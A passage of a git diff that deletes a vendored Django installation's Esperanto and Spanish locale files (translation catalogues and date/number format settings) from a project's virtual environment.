devas esti glitpunkta nombro." - -msgid "Floating point number" -msgstr "Glitpunkta nombro" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "La valoro “%(value)s” devas esti entjero." - -msgid "Integer" -msgstr "Entjero" - -msgid "Big (8 byte) integer" -msgstr "Granda (8–bitoka) entjero" - -msgid "Small integer" -msgstr "Malgranda entjero" - -msgid "IPv4 address" -msgstr "IPv4-adreso" - -msgid "IP address" -msgstr "IP-adreso" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" -"La valoro “%(value)s” devas esti Nenia (None), Vera (True), aŭ Malvera " -"(False)." - -msgid "Boolean (Either True, False or None)" -msgstr "Buleo (Vera, Malvera, aŭ Nenia)" - -msgid "Positive big integer" -msgstr "Pozitiva granda entjero" - -msgid "Positive integer" -msgstr "Pozitiva entjero" - -msgid "Positive small integer" -msgstr "Pozitiva malgranda entjero" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Ĵetonvorto (ĝis %(max_length)s)" - -msgid "Text" -msgstr "Teksto" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"La valoro “%(value)s” havas malĝustan formaton. Ĝi devas esti en la formato " -"HH:MM[:ss[.µµµµµµ]]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"La valoro “%(value)s” havas la (HH:MM[:ss[.µµµµµµ]]), sed tio estas " -"neekzistanta tempo." - -msgid "Time" -msgstr "Horo" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Kruda duuma datumo" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "“%(value)s” ne estas ĝustaforma UUID." - -msgid "Universally unique identifier" -msgstr "Universale unika identigilo" - -msgid "File" -msgstr "Dosiero" - -msgid "Image" -msgstr "Bildo" - -msgid "A JSON object" -msgstr "JSON-objekto" - -msgid "Value must be valid JSON." -msgstr "La valoro devas esti ĝustaforma JSON." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "Ekzemplero de %(model)s kun %(field)s egala al %(value)r ne ekzistas." - -msgid "Foreign Key (type determined by related field)" -msgstr "Fremda ŝlosilo (tipo determinita per rilata kampo)" - -msgid "One-to-one relationship" -msgstr "Unu-al-unu rilato" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s rilato" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s rilatoj" - -msgid "Many-to-many relationship" -msgstr "Mult-al-multa rilato" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Ĉi tiu kampo estas deviga." - -msgid "Enter a whole number." -msgstr "Enigu plenan nombron." - -msgid "Enter a valid date." -msgstr "Enigu ĝustan daton." - -msgid "Enter a valid time." -msgstr "Enigu ĝustan horon." - -msgid "Enter a valid date/time." -msgstr "Enigu ĝustan daton/tempon." - -msgid "Enter a valid duration." -msgstr "Enigu ĝustan daŭron." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "La nombro de tagoj devas esti inter {min_days} kaj {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "" -"Neniu dosiero estis alŝutita. Kontrolu la kodoprezentan tipon en la " -"formularo." - -msgid "No file was submitted." -msgstr "Neniu dosiero estis alŝutita." - -msgid "The submitted file is empty." -msgstr "La alŝutita dosiero estas malplena." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Certigu, ke tio dosiernomo maksimume havas %(max)d karakteron (ĝi havas " -"%(length)d)." -msgstr[1] "" -"Certigu ke la dosiernomo maksimume havas %(max)d signojn (ĝi havas " -"%(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Bonvolu aŭ alŝuti dosieron, aŭ elekti la vakigan markobutonon, sed ne ambaŭ." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Alŝutu ĝustaforman bildon. La alŝutita dosiero ne estas bildo aŭ estas " -"difektita bildo." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Elektu ekzistantan opcion. %(value)s ne estas el la eblaj elektoj." - -msgid "Enter a list of values." -msgstr "Enigu liston de valoroj." - -msgid "Enter a complete value." -msgstr "Enigu kompletan valoron." - -msgid "Enter a valid UUID." -msgstr "Enigu ĝustaforman UUID." - -msgid "Enter a valid JSON." -msgstr "Enigu ĝustaforman JSON." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Kaŝita kampo %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"La datumoj de la mastruma ManagementForm mankas aŭ estis malice modifitaj. " -"Mankas la kampoj: %(field_names)s. Se la problemo plu okazas, vi poveble " -"devintus raporti cimon." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Bonvolu forsendi maksimume %(num)d formularon." -msgstr[1] "Bonvolu forsendi maksimume %(num)d formularojn." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Bonvolu forsendi almenaŭ %(num)d formularon." -msgstr[1] "Bonvolu forsendi almenaŭ %(num)d formularojn." - -msgid "Order" -msgstr "Ordo" - -msgid "Delete" -msgstr "Forigi" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Bonvolu ĝustigi la duoblan datumon por %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Bonvolu ĝustigi la duoblan datumon por %(field)s, kiu devas esti unika." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Bonvolu ĝustigi la duoblan datumon por %(field_name)s, kiu devas esti unika " -"por la %(lookup)s en %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Bonvolu ĝustigi la duoblan valoron sube." - -msgid "The inline value did not match the parent instance." -msgstr "La enteksta valoro ne egalas la patran ekzempleron." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Elektu ekzistantan opcion. Ĉi tiu opcio ne estas el la eblaj elektoj." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "“%(pk)s” estas neakceptebla valoro." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"Ne eblis interpreti %(datetime)s en la tempo-zono %(current_timezone)s. Ĝi " -"eble estas ambigua aŭ ne ekzistas en tiu tempo-zono." - -msgid "Clear" -msgstr "Vakigi" - -msgid "Currently" -msgstr "Nuntempe" - -msgid "Change" -msgstr "Ŝanĝi" - -msgid "Unknown" -msgstr "Nekonate" - -msgid "Yes" -msgstr "Jes" - -msgid "No" -msgstr "Ne" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "jes,ne,eble" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d bitoko" -msgstr[1] "%(size)d bitokoj" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "ptm" - -msgid "a.m." -msgstr "atm" - -msgid "PM" -msgstr "PTM" - -msgid "AM" -msgstr "ATM" - -msgid "midnight" -msgstr "noktomezo" - -msgid "noon" -msgstr "tagmezo" - -msgid "Monday" -msgstr "lundo" - -msgid "Tuesday" -msgstr "mardo" - -msgid "Wednesday" -msgstr "merkredo" - -msgid "Thursday" -msgstr "ĵaŭdo" - -msgid "Friday" -msgstr "vendredo" - -msgid "Saturday" -msgstr "sabato" - -msgid "Sunday" -msgstr "dimanĉo" - -msgid "Mon" -msgstr "lun" - -msgid "Tue" -msgstr "mar" - -msgid "Wed" -msgstr "mer" - -msgid "Thu" -msgstr "ĵaŭ" - -msgid "Fri" -msgstr "ven" - -msgid "Sat" -msgstr "sab" - -msgid "Sun" -msgstr "dim" - -msgid "January" -msgstr "januaro" - -msgid "February" -msgstr "februaro" - -msgid "March" -msgstr "marto" - -msgid "April" -msgstr "aprilo" - -msgid "May" -msgstr "majo" - -msgid "June" -msgstr "junio" - -msgid "July" -msgstr "julio" - -msgid "August" -msgstr "aŭgusto" - -msgid "September" -msgstr "septembro" - -msgid "October" -msgstr "oktobro" - -msgid "November" -msgstr "novembro" - -msgid "December" -msgstr "decembro" - -msgid "jan" -msgstr "jan" - -msgid "feb" -msgstr "feb" - -msgid "mar" -msgstr "mar" - -msgid "apr" -msgstr "apr" - -msgid "may" -msgstr "maj" - -msgid "jun" -msgstr "jun" - -msgid "jul" -msgstr "jul" - -msgid "aug" -msgstr "aŭg" - -msgid "sep" -msgstr "sep" - -msgid "oct" -msgstr "okt" - -msgid "nov" -msgstr "nov" - -msgid "dec" -msgstr "dec" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "jan." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "feb." - -msgctxt "abbrev. month" -msgid "March" -msgstr "mar." - -msgctxt "abbrev. month" -msgid "April" -msgstr "apr." - -msgctxt "abbrev. month" -msgid "May" -msgstr "majo" - -msgctxt "abbrev. month" -msgid "June" -msgstr "jun." - -msgctxt "abbrev. month" -msgid "July" -msgstr "jul." - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "aŭg." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "sept." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "okt." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "nov." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "dec." - -msgctxt "alt. month" -msgid "January" -msgstr "Januaro" - -msgctxt "alt. month" -msgid "February" -msgstr "Februaro" - -msgctxt "alt. month" -msgid "March" -msgstr "Marto" - -msgctxt "alt. month" -msgid "April" -msgstr "Aprilo" - -msgctxt "alt. month" -msgid "May" -msgstr "Majo" - -msgctxt "alt. month" -msgid "June" -msgstr "Junio" - -msgctxt "alt. month" -msgid "July" -msgstr "Julio" - -msgctxt "alt. month" -msgid "August" -msgstr "Aŭgusto" - -msgctxt "alt. month" -msgid "September" -msgstr "Septembro" - -msgctxt "alt. month" -msgid "October" -msgstr "Oktobro" - -msgctxt "alt. month" -msgid "November" -msgstr "Novembro" - -msgctxt "alt. month" -msgid "December" -msgstr "Decembro" - -msgid "This is not a valid IPv6 address." -msgstr "Tio ne estas ĝustaforma IPv6-adreso." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "aŭ" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d jaro" -msgstr[1] "%(num)d jaroj" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d monato" -msgstr[1] "%(num)d monatoj" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d semajno" -msgstr[1] "%(num)d semajnoj" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d tago" -msgstr[1] "%(num)d tagoj" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d horo" -msgstr[1] "%(num)d horoj" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d minuto" -msgstr[1] "%(num)d minutoj" - -msgid "Forbidden" -msgstr "Malpermesita" - -msgid "CSRF verification failed. Request aborted." -msgstr "Kontrolo de CSRF malsukcesis. Peto ĉesigita." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Vi vidas tiun ĉi mesaĝon ĉar ĉi-tiu HTTPS-retejo postulas ricevi la " -"kapinstrukcion “Referer” de via retumilo, sed neniu estis sendita. Tia " -"kapinstrukcio estas bezonata pro sekurecaj kialoj, por certigi ke via " -"retumilo ne agas laŭ nedezirataj instrukcioj de maliculoj." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Se la agordoj de via retumilo malebligas la kapinstrukciojn “Referer”, " -"bonvolu ebligi ilin por tiu ĉi retejo, aŭ por HTTPS-konektoj, aŭ por petoj " -"el sama fonto (“same-origin”)." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Se vi uzas la etikedon aŭ " -"sendas la kapinstrukcion “Referrer-Policy: no-referrer”, bonvolu forigi " -"ilin. La protekto kontraŭ CSRF postulas la ĉeeston de la kapinstrukcio " -"“Referer”, kaj strikte kontrolas la referencantan fonton. Se vi zorgas pri " -"privateco, uzu alternativojn kiajn por ligiloj al " -"eksteraj retejoj." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Vi vidas tiun ĉi mesaĝon ĉar ĉi-tiu retejo postulas ke CSRF-kuketo estu " -"sendita kune kun la formularoj. Tia kuketo estas bezonata pro sekurecaj " -"kialoj, por certigi ke via retumilo ne agas laŭ nedezirataj instrukcioj de " -"maliculoj." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Se la agordoj de via retumilo malebligas kuketojn, bonvolu ebligi ilin por " -"tiu ĉi retejo aŭ por petoj el sama fonto (“same-origin”)." - -msgid "More information is available with DEBUG=True." -msgstr "Pliaj informoj estas videblaj kun DEBUG=True." - -msgid "No year specified" -msgstr "Neniu jaro indikita" - -msgid "Date out of range" -msgstr "Dato ne en la intervalo" - -msgid "No month specified" -msgstr "Neniu monato indikita" - -msgid "No day specified" -msgstr "Neniu tago indikita" - -msgid "No week specified" -msgstr "Neniu semajno indikita" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Neniuj %(verbose_name_plural)s estas disponeblaj" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Estontaj %(verbose_name_plural)s ne disponeblas ĉar %(class_name)s." -"allow_future estas Malvera." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "Erarforma dato-ĉeno “%(datestr)s” se uzi la formaton “%(format)s”" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Neniu %(verbose_name)s trovita kongrua kun la informpeto" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "Paĝo ne estas “lasta”, nek eblas konverti ĝin en entjeron." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Malĝusta paĝo (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" -"La listo estas malplena dum “%(class_name)s.allow_empty” estas Malvera." - -msgid "Directory indexes are not allowed here." -msgstr "Dosierujaj indeksoj ne estas permesitaj ĉi tie." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "“%(path)s” ne ekzistas" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Indekso de %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "La instalado sukcesis! Gratulojn!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Vidu eldonajn notojn por Dĵango %(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Vi vidas ĉi tiun paĝon ĉar DEBUG = " -"True estas en via agorda dosiero kaj vi ne agordis ajnan URL." - -msgid "Django Documentation" -msgstr "Dĵanga dokumentaro" - -msgid "Topics, references, & how-to’s" -msgstr "Temoj, referencoj, kaj instruiloj" - -msgid "Tutorial: A Polling App" -msgstr "Instruilo: apo pri enketoj" - -msgid "Get started with Django" -msgstr "Komencu kun Dĵango" - -msgid "Django Community" -msgstr "Dĵanga komunumo" - -msgid "Connect, get help, or contribute" -msgstr "Konektiĝu, ricevu helpon aŭ kontribuu" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/eo/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/eo/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/eo/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/eo/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 9086443f..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/eo/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/eo/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/eo/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index e8011110..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/eo/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/eo/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/eo/formats.py deleted file mode 100644 index d1346d1c..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/eo/formats.py +++ /dev/null @@ -1,44 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = r"j\-\a \d\e F Y" # '26-a de julio 1887' -TIME_FORMAT = "H:i" # '18:59' -DATETIME_FORMAT = r"j\-\a \d\e F Y\, \j\e H:i" # '26-a de julio 1887, je 18:59' -YEAR_MONTH_FORMAT = r"F \d\e Y" # 'julio de 1887' -MONTH_DAY_FORMAT = r"j\-\a \d\e F" # '26-a de julio' -SHORT_DATE_FORMAT = "Y-m-d" # '1887-07-26' -SHORT_DATETIME_FORMAT = "Y-m-d H:i" # '1887-07-26 18:59' -FIRST_DAY_OF_WEEK = 1 # Monday (lundo) - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%Y-%m-%d", # '1887-07-26' - "%y-%m-%d", # '87-07-26' - "%Y %m %d", # '1887 07 26' - "%Y.%m.%d", # '1887.07.26' - "%d-a de %b %Y", # '26-a de jul 1887' - "%d %b %Y", # '26 jul 1887' - "%d-a de %B %Y", # '26-a de julio 1887' - "%d %B %Y", # '26 julio 1887' - "%d %m %Y", # '26 07 1887' - "%d/%m/%Y", # '26/07/1887' -] -TIME_INPUT_FORMATS = [ - "%H:%M:%S", # '18:59:00' - "%H:%M", # '18:59' -] -DATETIME_INPUT_FORMATS = [ - "%Y-%m-%d %H:%M:%S", # '1887-07-26 18:59:00' - "%Y-%m-%d %H:%M", # '1887-07-26 18:59' - "%Y.%m.%d %H:%M:%S", # '1887.07.26 18:59:00' - "%Y.%m.%d %H:%M", # '1887.07.26 18:59' - "%d/%m/%Y %H:%M:%S", # '26/07/1887 18:59:00' - "%d/%m/%Y %H:%M", # '26/07/1887 18:59' - "%y-%m-%d %H:%M:%S", # '87-07-26 18:59:00' - "%y-%m-%d %H:%M", # '87-07-26 18:59' -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "\xa0" # non-breaking space -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/es/LC_MESSAGES/django.mo deleted file mode 100644 index 20ea819b..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/es/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/es/LC_MESSAGES/django.po deleted file mode 100644 index 77ec5f48..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/es/LC_MESSAGES/django.po +++ /dev/null @@ -1,1412 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# 8cb2d5a716c3c9a99b6d20472609a4d5_6d03802 , 2011 -# Abe Estrada, 2013 -# Abe Estrada, 2013 -# albertoalcolea , 2014 -# albertoalcolea , 2014 -# Amanda Copete, 2017 -# Amanda Copete, 2017 -# Antoni Aloy , 2011-2014,2017,2019 -# Claude Paroz , 2020 -# Diego Andres Sanabria Martin , 2012 -# Diego Schulz , 2012 -# e4db27214f7e7544f2022c647b585925_bb0e321, 2014,2020 -# e4db27214f7e7544f2022c647b585925_bb0e321, 2015-2016 -# e4db27214f7e7544f2022c647b585925_bb0e321, 2014 -# e4db27214f7e7544f2022c647b585925_bb0e321, 2020 -# Ernesto Rico Schmidt , 2017 -# Ernesto Rico Schmidt , 2017 -# 8cb2d5a716c3c9a99b6d20472609a4d5_6d03802 , 2011 -# Ignacio José Lizarán Rus , 2019 -# Igor Támara , 2015 -# Jannis Leidel , 2011 -# Jorge Andres Bravo Meza, 2024 -# José Luis , 2016 -# José Luis , 2016 -# Josue Naaman Nistal Guerra , 2014 -# Leonardo J. Caballero G. , 2011,2013 -# Luigy, 2019 -# Luigy, 2019 -# Marc Garcia , 2011 -# Mariusz Felisiak , 2021 -# mpachas , 2022 -# monobotsoft , 2012 -# Natalia, 2024 -# ntrrgc , 2013 -# ntrrgc , 2013 -# Pablo, 2015 -# Pablo, 2015 -# Sebastián Magrí, 2013 -# Sebastián Magrí, 2013 -# Uriel Medina , 2020-2021,2023 -# Veronicabh , 2015 -# Veronicabh , 2015 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-08-07 06:49+0000\n" -"Last-Translator: Jorge Andres Bravo Meza, 2024\n" -"Language-Team: Spanish (http://app.transifex.com/django/django/language/" -"es/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: es\n" -"Plural-Forms: nplurals=3; plural=n == 1 ? 0 : n != 0 && n % 1000000 == 0 ? " -"1 : 2;\n" - -msgid "Afrikaans" -msgstr "Africano" - -msgid "Arabic" -msgstr "Árabe" - -msgid "Algerian Arabic" -msgstr "Árabe argelino" - -msgid "Asturian" -msgstr "Asturiano" - -msgid "Azerbaijani" -msgstr "Azerbaiyán" - -msgid "Bulgarian" -msgstr "Búlgaro" - -msgid "Belarusian" -msgstr "Bielorruso" - -msgid "Bengali" -msgstr "Bengalí" - -msgid "Breton" -msgstr "Bretón" - -msgid "Bosnian" -msgstr "Bosnio" - -msgid "Catalan" -msgstr "Catalán" - -msgid "Central Kurdish (Sorani)" -msgstr "Kurdo central (Sorani)" - -msgid "Czech" -msgstr "Checo" - -msgid "Welsh" -msgstr "Galés" - -msgid "Danish" -msgstr "Danés" - -msgid "German" -msgstr "Alemán" - -msgid "Lower Sorbian" -msgstr "Bajo sorbio" - -msgid "Greek" -msgstr "Griego" - -msgid "English" -msgstr "Inglés" - -msgid "Australian English" -msgstr "Inglés australiano" - -msgid "British English" -msgstr "Inglés británico" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "Español" - -msgid "Argentinian Spanish" -msgstr "Español de Argentina" - -msgid "Colombian Spanish" -msgstr "Español de Colombia" - -msgid "Mexican Spanish" -msgstr "Español de México" - -msgid "Nicaraguan Spanish" -msgstr "Español de Nicaragua" - -msgid "Venezuelan Spanish" -msgstr "Español de Venezuela" - -msgid "Estonian" -msgstr "Estonio" - -msgid "Basque" -msgstr "Vasco" - -msgid "Persian" -msgstr "Persa" - -msgid "Finnish" -msgstr "Finés" - -msgid "French" -msgstr "Francés" - -msgid "Frisian" -msgstr "Frisón" - -msgid "Irish" -msgstr "Irlandés" - -msgid "Scottish Gaelic" -msgstr "Gaélico Escocés" - -msgid "Galician" -msgstr "Gallego" - -msgid "Hebrew" -msgstr "Hebreo" - -msgid "Hindi" -msgstr "Hindi" - -msgid "Croatian" -msgstr "Croata" - -msgid "Upper Sorbian" -msgstr "Alto sorbio" - -msgid "Hungarian" -msgstr "Húngaro" - -msgid "Armenian" -msgstr "Armenio" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Indonesio" - -msgid "Igbo" -msgstr "Igbo" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "Islandés" - -msgid "Italian" -msgstr "Italiano" - -msgid "Japanese" -msgstr "Japonés" - -msgid "Georgian" -msgstr "Georgiano" - -msgid "Kabyle" -msgstr "Cabilio" - -msgid "Kazakh" -msgstr "Kazajo" - -msgid "Khmer" -msgstr "Khmer" - -msgid "Kannada" -msgstr "Kannada" - -msgid "Korean" -msgstr "Coreano" - -msgid "Kyrgyz" -msgstr "Kirguís" - -msgid "Luxembourgish" -msgstr "Luxenburgués" - -msgid "Lithuanian" -msgstr "Lituano" - -msgid "Latvian" -msgstr "Letón" - -msgid "Macedonian" -msgstr "Macedonio" - -msgid "Malayalam" -msgstr "Malayalam" - -msgid "Mongolian" -msgstr "Mongol" - -msgid "Marathi" -msgstr "Maratí" - -msgid "Malay" -msgstr "Malayo" - -msgid "Burmese" -msgstr "Birmano" - -msgid "Norwegian Bokmål" -msgstr "Bokmål noruego" - -msgid "Nepali" -msgstr "Nepalí" - -msgid "Dutch" -msgstr "Holandés" - -msgid "Norwegian Nynorsk" -msgstr "Nynorsk" - -msgid "Ossetic" -msgstr "Osetio" - -msgid "Punjabi" -msgstr "Panyabí" - -msgid "Polish" -msgstr "Polaco" - -msgid "Portuguese" -msgstr "Portugués" - -msgid "Brazilian Portuguese" -msgstr "Portugués de Brasil" - -msgid "Romanian" -msgstr "Rumano" - -msgid "Russian" -msgstr "Ruso" - -msgid "Slovak" -msgstr "Eslovaco" - -msgid "Slovenian" -msgstr "Esloveno" - -msgid "Albanian" -msgstr "Albanés" - -msgid "Serbian" -msgstr "Serbio" - -msgid "Serbian Latin" -msgstr "Serbio latino" - -msgid "Swedish" -msgstr "Sueco" - -msgid "Swahili" -msgstr "Suajili" - -msgid "Tamil" -msgstr "Tamil" - -msgid "Telugu" -msgstr "Telugu" - -msgid "Tajik" -msgstr "Tayiko" - -msgid "Thai" -msgstr "Tailandés" - -msgid "Turkmen" -msgstr "Turcomanos" - -msgid "Turkish" -msgstr "Turco" - -msgid "Tatar" -msgstr "Tártaro" - -msgid "Udmurt" -msgstr "Udmurt" - -msgid "Uyghur" -msgstr "Uigur" - -msgid "Ukrainian" -msgstr "Ucraniano" - -msgid "Urdu" -msgstr "Urdu" - -msgid "Uzbek" -msgstr "Uzbeko" - -msgid "Vietnamese" -msgstr "Vietnamita" - -msgid "Simplified Chinese" -msgstr "Chino simplificado" - -msgid "Traditional Chinese" -msgstr "Chino tradicional" - -msgid "Messages" -msgstr "Mensajes" - -msgid "Site Maps" -msgstr "Mapas del sitio" - -msgid "Static Files" -msgstr "Archivos estáticos" - -msgid "Syndication" -msgstr "Sindicación" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "..." - -msgid "That page number is not an integer" -msgstr "Este número de página no es un entero" - -msgid "That page number is less than 1" -msgstr "Este número de página es menor que 1" - -msgid "That page contains no results" -msgstr "Esa página no contiene resultados" - -msgid "Enter a valid value." -msgstr "Introduzca un valor válido." - -msgid "Enter a valid domain name." -msgstr "Ingrese un nombre de dominio válido." - -msgid "Enter a valid URL." -msgstr "Introduzca una URL válida." - -msgid "Enter a valid integer." -msgstr "Introduzca un número entero válido." - -msgid "Enter a valid email address." -msgstr "Introduzca una dirección de correo electrónico válida." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Introduzca un 'slug' válido, consistente en letras, números, guiones bajos o " -"medios." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Introduzca un 'slug' válido, consistente en letras, números, guiones bajos o " -"medios de Unicode." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "Ingrese una dirección de %(protocol)s válida." - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4 o IPv6" - -msgid "Enter only digits separated by commas." -msgstr "Introduzca sólo dígitos separados por comas." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Asegúrese de que este valor es %(limit_value)s (actualmente es " -"%(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Asegúrese de que este valor es menor 